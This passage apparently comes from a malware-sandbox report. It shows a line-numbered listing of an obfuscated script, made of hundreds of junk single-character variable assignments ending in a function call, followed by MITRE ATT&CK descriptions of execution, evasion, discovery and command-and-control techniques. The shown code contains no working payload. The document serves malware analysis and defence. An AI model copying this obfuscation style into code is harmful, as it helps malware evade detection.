453	iaeeaogb = "x";
454	iaeeaogb = "k";
455	iaeeaogb = "C";
456	iaeeaogb = "J";
457	iaeeaogb = "q";
458	iaeeaogb = "L";
459	regydcbcg = "B";
460	regydcbcg = "D";
461	regydcbcg = "c";
462	regydcbcg = "T";
463	regydcbcg = "R";
464	regydcbcg = "F";
465	regydcbcg = "U";
466	regydcbcg = "c";
467	regydcbcg = "i";
468	regydcbcg = "y";
469	regydcbcg = "q";
470	regydcbcg = "V";
471	regydcbcg = "V";
472	regydcbcg = "d";
473	regydcbcg = "O";
474	regydcbcg = "C";
475	regydcbcg = "g";
476	regydcbcg = "h";
477	regydcbcg = "f";
478	regydcbcg = "t";
479	regydcbcg = "o";
480	regydcbcg = "j";
481	regydcbcg = "D";
482	regydcbcg = "o";
483	regydcbcg = "Q";
484	regydcbcg = "E";
485	regydcbcg = "F";
486	regydcbcg = "y";
487	regydcbcg = "L";
488	regydcbcg = "U";
489	regydcbcg = "X";
490	regydcbcg = "h";
491	regydcbcg = "F";
492	regydcbcg = "w";
493	regydcbcg = "U";
494	regydcbcg = "r";
495	regydcbcg = "c";
496	regydcbcg = "a";
497	regydcbcg = "d";
498	regydcbcg = "G";
499	regydcbcg = "Q";
500	regydcbcg = "t";
501	uyeihuxz = "Z";
502	uyeihuxz = "\"";
503	jczyrx = "B";
504	jczyrx = "p";
505	jczyrx = "v";
506	jczyrx = "w";
507	jczyrx = "V";
508	jczyrx = "d";
509	jczyrx = "G";
510	jczyrx = "f";
511	jczyrx = "P";
512	jczyrx = "T";
513	jczyrx = "f";
514	jczyrx = "l";
515	jczyrx = "P";
516	jczyrx = "e";
517	jczyrx = "s";
518	jczyrx = "I";
519	jczyrx = "n";
520	jczyrx = "s";
521	jczyrx = "y";
522	jczyrx = "f";
523	jczyrx = ":";
524	kkpalyji = "s";
525	kkpalyji = "H";
526	kkpalyji = "O";
527	kkpalyji = "H";
528	kkpalyji = "m";
529	kkpalyji = "m";
530	kkpalyji = "J";
531	kkpalyji = "a";
532	kkpalyji = "Y";
533	kkpalyji = "Q";
534	kkpalyji = "b";
535	kkpalyji = "Y";
536	kkpalyji = "n";
537	kkpalyji = "D";
538	kkpalyji = ".";
539	ujjkjmr = "o";
540	ujjkjmr = "j";
541	ujjkjmr = "B";
542	ujjkjmr = "p";
543	fbhcpzt = "m";
544	fbhcpzt = "D";
545	fbhcpzt = "A";
546	fbhcpzt = "f";
547	fbhcpzt = "b";
548	fbhcpzt = "C";
549	plcfg = "k";
550	plcfg = "Z";
551	plcfg = "c";
552	plcfg = "B";
553	plcfg = "p";
554	plcfg = "D";
555	plcfg = "x";
556	plcfg = "p";
557	plcfg = "C";
558	plcfg = "q";
559	plcfg = "z";
560	plcfg = "w";
561	plcfg = "f";
562	plcfg = "i";
563	plcfg = "v";
564	plcfg = "H";
565	plcfg = "p";
566	plcfg = "E";
567	plcfg = "r";
568	plcfg = "Z";
569	plcfg = "Q";
570	plcfg = "c";
571	plcfg = "E";
572	plcfg = "R";
573	plcfg = "B";
574	plcfg = "T";
575	plcfg = "R";
576	plcfg = "K";
577	dsrqn = "m";
578	dsrqn = "h";
579	dsrqn = "z";
580	dsrqn = "w";
581	dsrqn = "t";
582	dsrqn = "g";
583	dsrqn = "r";
584	dsrqn = "P";
585	vvpov = "P";
586	vvpov = "J";
587	vvpov = "n";
588	vvpov = "s";
589	vvpov = "e";
590	vvpov = "I";
591	vvpov = "Z";
592	vvpov = "N";
593	vvpov = "Y";
594	vvpov = "e";
595	vvpov = "Y";
596	vvpov = "W";
597	vvpov = "L";
598	vvpov = "q";
599	vvpov = "L";
600	vvpov = "k";
601	vvpov = "V";
602	vvpov = "d";
603	vvpov = "x";
604	xxxaoep = "D";
605	xxxaoep = "C";
606	xxxaoep = "c";
607	xxxaoep = "d";
608	xxxaoep = "t";
609	xxxaoep = "v";
610	xxxaoep = "a";
611	xxxaoep = "M";
612	xxxaoep = "h";
613	xxxaoep = "H";
614	xxxaoep = "k";
615	xxxaoep = "p";
616	xxxaoep = "P";
617	xxxaoep = "u";
618	xxxaoep = "I";
619	xxxaoep = "g";
620	xxxaoep = "o";
621	xxxaoep = "M";
622	xxxaoep = "m";
623	xxxaoep = "v";
624	xxxaoep = "T";
625	xxxaoep = "A";
626	xxxaoep = "D";
627	xxxaoep = "D";
628	xxxaoep = "B";
629	xxxaoep = "s";
630	xxxaoep = "S";
631	xxxaoep = "J";
632	xxxaoep = "l";
633	xxxaoep = "W";
634	xxxaoep = "w";
635	xxxaoep = "b";
636	xxxaoep = "u";
637	xxxaoep = "n";
638	xxxaoep = "a";
639	xxxaoep = "t";
640	xxxaoep = "Q";
641	mkdlqmhzl = "p";
642	mkdlqmhzl = "q";
643	mkdlqmhzl = "X";
644	mkdlqmhzl = "C";
645	mkdlqmhzl = "c";
646	mkdlqmhzl = "N";
647	mkdlqmhzl = "P";
648	mkdlqmhzl = "w";
649	mkdlqmhzl = "A";
650	mkdlqmhzl = "q";
651	mkdlqmhzl = "W";
652	mkdlqmhzl = "g";
653	mkdlqmhzl = "K";
654	mkdlqmhzl = "p";
655	mkdlqmhzl = "N";
656	mkdlqmhzl = "d";
657	mkdlqmhzl = "y";
658	mkdlqmhzl = "r";
659	mkdlqmhzl = "m";
660	mkdlqmhzl = "V";
661	mkdlqmhzl = "p";
662	mkdlqmhzl = "A";
663	mkdlqmhzl = "d";
664	mkdlqmhzl = "A";
665	mkdlqmhzl = "P";
666	mkdlqmhzl = "U";
667	mkdlqmhzl = "7";
668	mohfnrkp = "r";
669	mohfnrkp = "h";
670	mohfnrkp = "Q";
671	mohfnrkp = "S";
672	mohfnrkp = "W";
673	mohfnrkp = "S";
674	mohfnrkp = "a";
675	mohfnrkp = "H";
676	mohfnrkp = "x";
677	mohfnrkp = "a";
678	mohfnrkp = "n";
679	mohfnrkp = "K";
680	mohfnrkp = "E";
681	buiew = "d";
682	buiew = "q";
683	buiew = "S";
684	buiew = "Y";
685	buiew = "i";
686	buiew = "l";
687	buiew = "I";
688	buiew = "b";
689	buiew = "p";
690	buiew = "A";
691	buiew = "N";
692	buiew = "L";
693	buiew = "i";
694	buiew = "m";
695	buiew = "o";
696	buiew = "g";
697	buiew = "H";
698	buiew = "q";
699	buiew = "F";
700	buiew = "A";
701	buiew = "y";
702	buiew = "E";
703	buiew = "i";
704	buiew = "t";
705	buiew = "S";
706	buiew = "5";
707	cbpgsjg = "F";
708	cbpgsjg = "J";
709	cbpgsjg = "q";
710	cbpgsjg = "r";
711	cbpgsjg = "q";
712	cbpgsjg = "a";
713	cbpgsjg = "y";
714	cbpgsjg = "d";
715	cbpgsjg = "h";
716	cbpgsjg = "B";
717	cbpgsjg = "o";
718	cbpgsjg = "B";
719	cbpgsjg = "i";
720	cbpgsjg = "I";
721	cbpgsjg = "d";
722	cbpgsjg = "z";
723	cbpgsjg = "U";
724	cbpgsjg = "W";
725	cbpgsjg = "p";
726	cbpgsjg = "Q";
727	cbpgsjg = "M";
728	cbpgsjg = "/";
729	ptynxe = "T";
730	ptynxe = "g";
731	ptynxe = "M";
732	ptynxe = "R";
733	ptynxe = "p";
734	ptynxe = "g";
735	ptynxe = "V";
736	ptynxe = "M";
737	ptynxe = "o";
738	ptynxe = "r";
739	ptynxe = "Z";
740	ptynxe = "d";
741	ptynxe = "E";
742	ptynxe = "s";
743	ptynxe = "X";
744	ptynxe = "t";
745	ptynxe = "E";
746	ptynxe = "B";
747	ptynxe = "i";
748	ptynxe = "p";
749	ptynxe = "i";
750	ptynxe = "z";
751	ptynxe = "a";
752	urythb = "R";
753	urythb = "X";
754	urythb = "D";
755	urythb = "E";
756	urythb = "C";
757	urythb = "S";
758	urythb = "E";
759	urythb = "x";
760	urythb = "s";
761	urythb = "U";
762	urythb = "H";
763	urythb = "z";
764	urythb = "E";
765	urythb = "Y";
766	urythb = "p";
767	urythb = "J";
768	urythb = "P";
769	urythb = "v";
770	urythb = "o";
771	urythb = "e";
772	urythb = "n";
773	urythb = "P";
774	urythb = "G";
775	urythb = "E";
776	urythb = "R";
777	urythb = "p";
778	urythb = "k";
779	urythb = "G";
780	urythb = "e";
781	urythb = "u";
782	urythb = "n";
783	urythb = "h";
784	urythb = "N";
785	urythb = "w";
786	zxoddklg = "V";
787	zxoddklg = "U";
788	zxoddklg = "W";
789	zxoddklg = "K";
790	zxoddklg = "H";
791	zxoddklg = "x";
792	zxoddklg = "y";
793	zxoddklg = "C";
794	zxoddklg = "N";
795	zxoddklg = "R";
796	zxoddklg = "L";
797	zxoddklg = "e";
798	zxoddklg = "F";
799	iciepvm = "X";
800	iciepvm = "c";
801	iciepvm = "I";
802	iciepvm = "A";
803	iciepvm = "H";
804	iciepvm = "z";
805	iciepvm = "F";
806	iciepvm = "I";
807	iciepvm = "o";
808	iciepvm = "u";
809	iciepvm = "a";
810	iciepvm = "e";
811	iciepvm = "y";
812	iciepvm = "B";
813	iciepvm = "l";
814	iciepvm = "Z";
815	iciepvm = "C";
816	iciepvm = "o";
817	iciepvm = "t";
818	iciepvm = "f";
819	ohgcav = "A";
820	ohgcav = "Z";
821	ohgcav = "k";
822	ohgcav = "c";
823	ohgcav = "n";
824	ohgcav = "K";
825	ohgcav = "P";
826	ohgcav = "s";
827	xslgx = "G";
828	xslgx = "t";
829	xslgx = "e";
830	xslgx = "o";
831	xslgx = "J";
832	xslgx = "u";
833	xslgx = "a";
834	xslgx = "j";
835	jhgfnfwdd = "T";
836	jhgfnfwdd = "O";
837	jhgfnfwdd = "e";
838	jhgfnfwdd = "f";
839	jhgfnfwdd = "X";
840	jhgfnfwdd = "j";
841	jhgfnfwdd = "K";
842	jhgfnfwdd = "T";
843	jhgfnfwdd = "k";
844	jhgfnfwdd = "y";
845	jhgfnfwdd = "k";
846	jhgfnfwdd = "a";
847	jhgfnfwdd = "N";
848	jhgfnfwdd = "q";
849	jhgfnfwdd = "l";
850	jhgfnfwdd = "A";
851	jhgfnfwdd = "d";
852	oonokfdn = "p";
853	oonokfdn = "P";
854	oonokfdn = "w";
855	oonokfdn = "v";
856	oonokfdn = "B";
857	oonokfdn = "j";
858	oonokfdn = "i";
859	vssijx = "g";
860	vssijx = "O";
861	vssijx = "S";
862	vssijx = "W";
863	vssijx = "o";
864	vssijx = "X";
865	vssijx = "E";
866	vssijx = "H";
867	vssijx = "t";
868	vssijx = "o";
869	vssijx = "P";
870	vssijx = "L";
871	vssijx = "R";
872	vssijx = "a";
873	vssijx = "w";
874	vssijx = "V";
875	vssijx = "1";
876	eelplm = "h";
877	eelplm = "W";
878	eelplm = "@";
879	xrnhypy = "O";
880	oktyfwuk = "D";
881	oktyfwuk = "i";
882	oktyfwuk = "f";
883	oktyfwuk = "M";
884	oktyfwuk = "K";
885	oktyfwuk = "O";
886	oktyfwuk = "C";
887	oktyfwuk = "K";
888	oktyfwuk = "N";
889	oktyfwuk = "K";
890	oktyfwuk = "u";
891	oktyfwuk = "T";
892	oktyfwuk = "v";
893	oktyfwuk = "o";
894	oktyfwuk = "G";
895	oktyfwuk = "t";
896	oktyfwuk = "C";
897	oktyfwuk = "p";
898	oktyfwuk = "z";
899	oktyfwuk = "N";
900	oktyfwuk = "i";
901	oktyfwuk = "j";
902	oktyfwuk = "g";
903	oktyfwuk = "p";
904	oktyfwuk = "S";
905	oktyfwuk = "I";
906	oktyfwuk = "Y";
907	oktyfwuk = "u";
908	oktyfwuk = "R";
909	oktyfwuk = "c";
910	oktyfwuk = "-";
911	oosqdgwkt = "f";
912	oosqdgwkt = "p";
913	oosqdgwkt = "M";
914	oosqdgwkt = "D";
915	oosqdgwkt = "g";
916	oosqdgwkt = "Y";
917	oosqdgwkt = "R";
918	oosqdgwkt = "J";
919	oosqdgwkt = "u";
920	oosqdgwkt = "f";
921	oosqdgwkt = "O";
922	oosqdgwkt = "O";
923	oosqdgwkt = "u";
924	oosqdgwkt = "U";
925	oosqdgwkt = "q";
926	oosqdgwkt = "R";
927	oosqdgwkt = "X";
928	oosqdgwkt = "a";
929	oosqdgwkt = "y";
930	oosqdgwkt = "q";
931	oosqdgwkt = "g";
932	oosqdgwkt = "S";
933	oosqdgwkt = "I";
934	oosqdgwkt = "h";
935	oosqdgwkt = "X";
936	oosqdgwkt = "m";
937	oosqdgwkt = "f";
938	oosqdgwkt = "Q";
939	oosqdgwkt = "E";
940	oosqdgwkt = "u";
941	oosqdgwkt = "b";
942	oosqdgwkt = "F";
943	oosqdgwkt = "y";
944	oosqdgwkt = "J";
945	oosqdgwkt = "Y";
946	oosqdgwkt = "g";
947	oosqdgwkt = "y";
948	oosqdgwkt = "x";
949	oosqdgwkt = "X";
950	oosqdgwkt = "S";
951	myshgaz = "W";
952	myshgaz = "B";
953	myshgaz = "O";
954	myshgaz = "H";
955	myshgaz = "B";
956	myshgaz = "U";
957	myshgaz = "T";
958	myshgaz = "x";
959	myshgaz = "r";
960	myshgaz = "R";
961	myshgaz = "N";
962	myshgaz = "c";
963	myshgaz = "p";
964	myshgaz = "N";
965	myshgaz = "D";
966	myshgaz = "l";
967	myshgaz = "e";
968	myshgaz = "L";
969	myshgaz = "a";
970	myshgaz = "B";
971	myshgaz = "e";
972	myshgaz = "S";
973	myshgaz = "Y";
974	ownvbqkn = "u";
975	ownvbqkn = "c";
976	ownvbqkn = "U";
977	ownvbqkn = "o";
978	ownvbqkn = "l";
979	ownvbqkn = "g";
980	ownvbqkn = "l";
981	ownvbqkn = "S";
982	ownvbqkn = "h";
983	ownvbqkn = "E";
984	ownvbqkn = "U";
985	ownvbqkn = "q";
986	ownvbqkn = "O";
987	ownvbqkn = "s";
988	ownvbqkn = "n";
989	ownvbqkn = "O";
990	ownvbqkn = "g";
991	ownvbqkn = "b";
992	ownvbqkn = "i";
993	ownvbqkn = "R";
994	ownvbqkn = "a";
995	ownvbqkn = "b";
996	ownvbqkn = "y";
997	ownvbqkn = "E";
998	ownvbqkn = "H";
999	ownvbqkn = "M";
1000	ownvbqkn = "j";
1001	ownvbqkn = "z";
1002	ownvbqkn = "M";
1003	ownvbqkn = "I";
1004	ownvbqkn = "R";
1005	ownvbqkn = "z";
1006	ownvbqkn = "T";
1007	ownvbqkn = "A";
1008	ownvbqkn = "R";
1009	ownvbqkn = "c";
1010	ownvbqkn = "C";
1011	ownvbqkn = "n";
1012	ownvbqkn = "r";
1013	ownvbqkn = "L";
1014	ownvbqkn = "M";
1015	ownvbqkn = "%";
1016	fpzdsakil = "l";
1017	fpzdsakil = "O";
1018	fpzdsakil = "E";
1019	fpzdsakil = "k";
1020	fpzdsakil = "g";
1021	fpzdsakil = "D";
1022	fpzdsakil = "P";
1023	fpzdsakil = "R";
1024	fpzdsakil = "W";
1025	fpzdsakil = "Y";
1026	fpzdsakil = "V";
1027	fpzdsakil = "P";
1028	fpzdsakil = "F";
1029	fpzdsakil = "V";
1030	fpzdsakil = "i";
1031	fpzdsakil = "N";
1032	fpzdsakil = "z";
1033	fpzdsakil = "O";
1034	fpzdsakil = "O";
1035	fpzdsakil = "H";
1036	fpzdsakil = "J";
1037	fpzdsakil = "M";
1038	fpzdsakil = "E";
1039	fpzdsakil = "u";
1040	fpzdsakil = "g";
1041	fpzdsakil = "n";
1042	fpzdsakil = "R";
1043	vcjtdance = "V";
1044	vcjtdance = "g";
1045	vcjtdance = "X";
1046	vcjtdance = "O";
1047	vcjtdance = "E";
1048	vcjtdance = "N";
1049	vcjtdance = "s";
1050	vcjtdance = "R";
1051	vcjtdance = "V";
1052	vcjtdance = "e";
1053	vcjtdance = "P";
1054	vcjtdance = "C";
1055	vcjtdance = "v";
1056	vcjtdance = "i";
1057	vcjtdance = "a";
1058	vcjtdance = "X";
1059	vcjtdance = "D";
1060	vcjtdance = "N";
1061	vcjtdance = "l";
1062	vcjtdance = "L";
1063	vcjtdance = "j";
1064	vcjtdance = "Z";
1065	vcjtdance = "W";
1066	bjdjshu = "k";
1067	bjdjshu = "W";
1068	bjdjshu = "N";
1069	bjdjshu = "C";
1070	bjdjshu = "O";
1071	bjdjshu = "a";
1072	bjdjshu = "W";
1073	bjdjshu = "G";
1074	bjdjshu = "L";
1075	bjdjshu = "S";
1076	bjdjshu = "6";
1077	sqchjodzn = "M";
1078	sqchjodzn = "c";
1079	sqchjodzn = "A";
1080	sqchjodzn = "X";
1081	sqchjodzn = "O";
1082	sqchjodzn = "Z";
1083	sqchjodzn = "b";
1084	hzwfg = "H";
1085	hzwfg = "O";
1086	hzwfg = "C";
1087	hzwfg = "E";
1088	hzwfg = "P";
1089	hzwfg = "E";
1090	hzwfg = "r";
1091	hzwfg = "g";
1092	hzwfg = "K";
1093	hzwfg = "b";
1094	hzwfg = "W";
1095	hzwfg = "s";
1096	hzwfg = "F";
1097	hzwfg = "N";
1098	hzwfg = "P";
1099	hzwfg = "o";
1100	hzwfg = "w";
1101	hzwfg = "M";
1102	hzwfg = "Q";
1103	hzwfg = "D";
1104	hzwfg = "S";
1105	hzwfg = "j";
1106	hzwfg = "C";
1107	hzwfg = "L";
1108	hzwfg = "C";
1109	hzwfg = "j";
1110	hzwfg = "J";
1111	hzwfg = "f";
1112	hzwfg = "m";
1113	hzwfg = " ";
1114	lmjhwa = "u";
1115	lmjhwa = "u";
1116	lmjhwa = "U";
1117	lmjhwa = "q";
1118	lmjhwa = "J";
1119	lmjhwa = "f";
1120	lmjhwa = "H";
1121	lmjhwa = "W";
1122	lmjhwa = "z";
1123	lmjhwa = "A";
1124	lmjhwa = "M";
1125	lmjhwa = "z";
1126	lmjhwa = "J";
1127	lmjhwa = "C";
1128	lmjhwa = "H";
1129	lmjhwa = "T";
1130	lmjhwa = "F";
1131	lmjhwa = "y";
1132	lmjhwa = "k";
1133	lmjhwa = "e";
1134	lmjhwa = "e";
1135	lmjhwa = "g";
1136	lmjhwa = "r";
1137	lmjhwa = "U";
1138	lmjhwa = "w";
1139	lmjhwa = "H";
1140	lmjhwa = "W";
1141	lmjhwa = "I";
1142	lmjhwa = "z";
1143	lmjhwa = "B";
1144	lmjhwa = "A";
1145	lmjhwa = "I";
1146	lmjhwa = "d";
1147	lmjhwa = "&";
1148	klhbbjmmr = "D";
1149	klhbbjmmr = "W";
1150	klhbbjmmr = "z";
1151	klhbbjmmr = "u";
1152	klhbbjmmr = "B";
1153	klhbbjmmr = "l";
1154	rdbpsr = "C";
1155	rdbpsr = "8";
1156	dxjnlgx = "s";
1157	dxjnlgx = "G";
1158	dxjnlgx = "p";
1159	dxjnlgx = "q";
1160	dxjnlgx = "M";
1161	dxjnlgx = "q";
1162	dxjnlgx = "v";
1163	dxjnlgx = "H";
1164	dxjnlgx = "a";
1165	dxjnlgx = "y";
1166	dxjnlgx = "Z";
1167	dxjnlgx = "S";
1168	dxjnlgx = "z";
1169	dxjnlgx = "r";
1170	dxjnlgx = "y";
1171	dxjnlgx = "W";
1172	dxjnlgx = "Q";
1173	dxjnlgx = "Y";
1174	dxjnlgx = "G";
1175	dxjnlgx = "h";
1176	dxjnlgx = "M";
1177	dxjnlgx = "F";
1178	dxjnlgx = "x";
1179	dxjnlgx = "N";
1180	dxjnlgx = "q";
1181	dxjnlgx = "L";
1182	dxjnlgx = "I";
1183	dxjnlgx = "B";
1184	dxjnlgx = "Y";
1185	dxjnlgx = "b";
1186	dxjnlgx = "v";
1187	dxjnlgx = "R";
1188	dxjnlgx = "v";
1189	mwlhe = "E";
1190	mwlhe = "t";
1191	mwlhe = "r";
1192	mwlhe = "C";
1193	mwlhe = "R";
1194	mwlhe = "Z";
1195	mwlhe = "I";
1196	mwlhe = "i";
1197	mwlhe = "C";
1198	mwlhe = "j";
1199	mwlhe = "V";
1200	mwlhe = "F";
1201	mwlhe = "B";
1202	mwlhe = "s";
1203	mwlhe = "V";
1204	mwlhe = "Q";
1205	mwlhe = "y";
1206	mwlhe = "T";
1207	mwlhe = "U";
1208	mwlhe = "R";
1209	mwlhe = "M";
1210	mwlhe = "c";
1211	mwlhe = "q";
1212	mwlhe = "s";
1213	mwlhe = "I";
1214	mwlhe = "Y";
1215	mwlhe = "Z";
1216	mwlhe = "W";
1217	mwlhe = "H";
1218	mwlhe = "Q";
1219	mwlhe = "B";
1220	mwlhe = "B";
1221	mwlhe = "v";
1222	mwlhe = "Z";
1223	mwlhe = "Y";
1224	mwlhe = "u";
1225	mwlhe = "C";
1226	mwlhe = "m";
1227	mwlhe = "j";
1228	mwlhe = "W";
1229	mwlhe = "b";
1230	mwlhe = "n";
1231	mwlhe = "r";
1232	mwlhe = "g";
1233	zhiccuqn = "M";
1234	zhiccuqn = "t";
1235	zhiccuqn = "V";
1236	zhiccuqn = "p";
1237	zhiccuqn = "f";
1238	zhiccuqn = "H";
1239	zhiccuqn = "C";
1240	zhiccuqn = "z";
1241	zhiccuqn = "m";
1242	zhiccuqn = "Q";
1243	zhiccuqn = "L";
1244	zhiccuqn = "K";
1245	zhiccuqn = "o";
1246	zhiccuqn = "w";
1247	zhiccuqn = "u";
1248	zhiccuqn = "I";
1249	zhiccuqn = "V";
1250	zhiccuqn = "q";
1251	zhiccuqn = "O";
1252	zhiccuqn = "T";
1253	zhiccuqn = "m";
1254	zhiccuqn = "U";
1255	zhiccuqn = "g";
1256	zhiccuqn = "z";
1257	zhiccuqn = "w";
1258	zhiccuqn = "z";
1259	zhiccuqn = "u";
1260	pgsojgt = "I";
1261	pgsojgt = "f";
1262	pgsojgt = "j";
1263	pgsojgt = "b";
1264	pgsojgt = "m";
1265	pgsojgt = "n";
1266	pgsojgt = "K";
1267	pgsojgt = "E";
1268	pgsojgt = "I";
1269	pgsojgt = "Y";
1270	pgsojgt = "z";
1271	pgsojgt = "p";
1272	pgsojgt = "Q";
1273	pgsojgt = "N";
1274	pgsojgt = "a";
1275	pgsojgt = "H";
1276	pgsojgt = "G";
1277	pgsojgt = "B";
1278	pgsojgt = "o";
1279	cbcqjuc ( );	cbcqjuc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

